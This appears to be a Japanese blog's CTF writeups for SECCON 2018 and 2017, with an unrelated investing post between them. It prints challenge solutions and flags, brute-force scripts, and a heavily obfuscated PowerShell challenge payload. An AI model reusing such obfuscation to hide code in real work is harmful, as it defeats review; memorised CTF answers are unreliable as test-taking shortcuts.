0xecfaL "2018}.txt" RENAME_NEW_NAME & CLOSE

なので, SECCON{F0rensics_usnjrnl2018} がフラグ.

mnemonic

最初はまったくわからない.文字コード?とか思って色々調べてみるのさっぱりだめ.
後輩二人が mnemonic だから…という話をしていてふと,そういえばニーモニックなのかと思う.
最近 Monacoin のウォレットを作ったときに,問題のひらがな複数から何か生成するみたいなのがあったな…と思い当たる.
bip39 とかなんかそんな感じだったかとおもって bip39 のワードリストを漁り,問題のひらがなが含まれるか調べてみると何個かいれて全部ヒットした.
ということはこれかもと思い,問題のすでにハッシュ値がわかっているやつからハッシュ値を生成してみると…

$ cat index.js
const bip39 = require('bip39');

const ret = bip39.mnemonicToSeedHex("ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと");

console.log(ret);
$ node index.js
338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f

と一致した.もうこれじゃん,と思うも短いハッシュのほうの生成方法がよくわからない.
試行錯誤するとどうも mnemonicToEntropy を叩くと短い方のハッシュがでてきた.

ニーモニックのうち先頭の1つだけ ?? になっているので,まずワードリストから長い方のハッシュに一致するニーモニックを全探索する.

$ cat index.js
const bip39 = require('bip39');

bip39.wordlists.JA.forEach((e) => {
  const mnemonic = e + " とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる";

  const ret1 = bip39.mnemonicToSeedHex(mnemonic);

  if (ret1.startsWith("e9a")) {
    console.log(e);
  }
});
$ node index.js
はいれつ

ここまでわかればあとは mnemonicToEntropy をとって md5 にかけたものがフラグ.

$ cat index.js
const bip39 = require('bip39');

const mnemonic = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる";

const ret = bip39.mnemonicToEntropy(mnemonic, bip39.wordlists.JA);

console.log(ret);
$ node index.js
c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70
$ echo -n "c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70" | md5
cda2cb1742d1b6fc21d05c879c263eec

なので SECCON{cda2cb1742d1b6fc21d05c879c263eec} がフラグ(だったはず).

まとめ

kindvm 頑張っていたけど hint3 まで出せたところでタイムアップでした.
今回はなかなか頑張れた.国内予選出れたらいいな….わかったら追記します.

他のメンバーの writeup

qiita.com

追記(2018/11/08)

国内決勝出場権を得れました!!! :tada:

投資信託始めました & 2017年運用成績

投資信託始めました

前々から興味があったのでとりあえず始めてみた.
自分の運用ポリシーは以下.

  • インデックスファンドオンリー
  • 手数料重視
  • 国外:国内 = 6:4 の割合
  • 長期(10年以上)保有
    • 基本的には売らない
    • ただし資金に余裕がなくなれば売却する
  • 積立(元手がないので…)
  • 年間120万(NISA 枠を使い切る)
    • 基本的には月6万 + ボーナス月にさらに24万
    • ただし資金に余裕がなくなれば減額する
  • 毎年 12/31 に必ず運用成績をブログに書く

2017年運用成績

特にコメントするほど面白いこともないので,スクショだけ貼っておく.
f:id:yharima:20171231144337p:plain

SECCON 2017 Online writeup

SECCON 2017 Online writeup

yharima チームで参加.1900 pts で 84th でした.

Run me!

フィボナッチ数列11011 項目を求める問題.
与えられる実装は,非常に効率が悪い実装になっているので高速化してあげれば良い.
が,そんなことしなくても http://php.bubble.ro/fibonacci/ にぶち込んで,先頭 32 文字とれば良いだけ.
SECCON{65076140832331717667772761541872}

putchar music

C プログラムが与えられて,何の映画かを答える.
プログラムをみると何らかの音楽を再生していて,それを再生したら映画のタイトルがわかる,的な問題.
問題に,映画タイトルにスペースがあったら "_" に変えろ,というのがあったのと,
その昔 SECCON WARS という STAR WARS ネタがあったのと,そろそろ最後のジェダイが公開される,というあたりから, 何も考えず STAR WARS だろうと思って,入力したら正解だった.このあたりが自分が絶好調だった.
SECCON{STAR_WARS}

Powerful_Shell

power shell が与えられる.
ubuntu でも動くらしいので適当にインストールして実行してみるとエラーになる.
どうも ` が含まれているのが原因なので,置き換えてみると,ピアノの鍵盤が出て来る.
コード自体の末尾に Write-Host $ECOON 的なものを挿すとデコードされたコードがみれる.
デコードされたコードをみて,適当にデバッグログを差し込みながら解析すると,
hhjhhjhjkjhjhf を入力すると次のステージに進める.
さらに Enter password と出てくる.これは,内部にある base64 エンコードされたコードをデコードしたものと,
上記の hhjhhjhjkjhjhf によって生成される鍵から復号された結果のコードが実行されている.
中身はこんな感じ.

{;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

これは,最後の部分が評価されて実行されている.これは,評価される前を Write-Host を実行するとさらにコードがみえる.
中身をみると最後, power shell になっていて,入力された文字が P0wEr$H311 と入力するとフラグがでる(というかそれそのものがフラグ).

SECCON{P0wEr$H311}

Simon and Speck Block Ciphers

Simon とかいう暗号化方式で暗号化された結果と plain text と鍵の一部などが与えられる.
実装自体は論文の通りにやればできるが,めんどい,適当にぐぐると以下の実装がでてくる.

GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers

あとは以下のようなコードを書いて,鍵の不明な部分を総当りするだけ(実行ときに適当に grep する).

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <stdlib.h>
#include "Simon.h"

int main() {
  Simon_Cipher my_simon_cipher = *(Simon_Cipher *)malloc(sizeof(Simon_Cipher));
  //uint8_t simon96_64_plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71};
  uint8_t simon96_64_plain[] = {0x71, 0x6e, 0x6e, 0x42, 0x37, 0x4d, 0x56, 0x6d};
  //uint8_t simon96_64_cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5};
  uint8_t simon96_64_cipher[] = {0xb5, 0x34, 0x28, 0x42, 0xba, 0x12, 0x5d, 0xbb};

  for (int c1 = 0x20; c1 <= 0x7e; ++c1) {
    for (int c2 = 0x20; c2 <= 0x7e; ++c2) {
      for (int c3 = 0x20; c3 <= 0x7e; ++c3) {
        for (int c4 = 0x20; c4 <= 0x7e; ++c4) {
          // uint8_t simon96_64_key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, c1, c2, c3, c4, 0x7d};
          uint8_t simon96_64_key[] = {0x7d, c4, c3, c2, c1, 0x7b, 0x4e, 0x4f, 0x43, 0x43, 0x45, 0x53};
          Simon_Init(&my_simon_cipher, Simon_96_64, ECB, simon96_64_key, NULL, NULL);

          uint8_t ciphertext_buffer[16];
          Simon_Encrypt(my_simon_cipher, &simon96_64_plain, &ciphertext_buffer);
          printf("%c%c%c%c: %02x %02x %02x %02x %02x %02x %02x %02x\n", c1, c2, c3, c4,
           ciphertext_buffer[0], ciphertext_buffer[1], ciphertext_buffer[2], ciphertext_buffer[3],
           ciphertext_buffer[4], ciphertext_buffer[5], ciphertext_buffer[6], ciphertext_buffer[7]);
        }
      }
    }
  }
  return 0;
}

最初,与えられているデータの入力をコメントアウトされている状態で定義していたが,答えが出ずしばらくハマっていた.
よくよく考えるとリトルエンディアンで書かないとだめ?と思って逆にしてみたら答えが出た.

SECCON{6Pz0}

Thank you for playing!

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!} 

その他

Baby Stack で無限に時間を溶かした.
EIP までは割りとあっさり奪えたのだけど,その後どう ROP するかでハマった.
最初は mmap で executable な領域を確保したあとに read で shellcode 積んで, EIP 飛ばせばいいや,と思ったのだけど,
mmpa まではできたけど pop gadget がなくてその後の ROP chain に繋げられず死亡.
その後 syscall 叩くことなども考えたけど,どれもうまくいかず終了.非常に辛い….

まとめ

国内決勝まであとちょっとだったらしい?
非常に辛いけど力不足を実感したので,また来年まで修行します.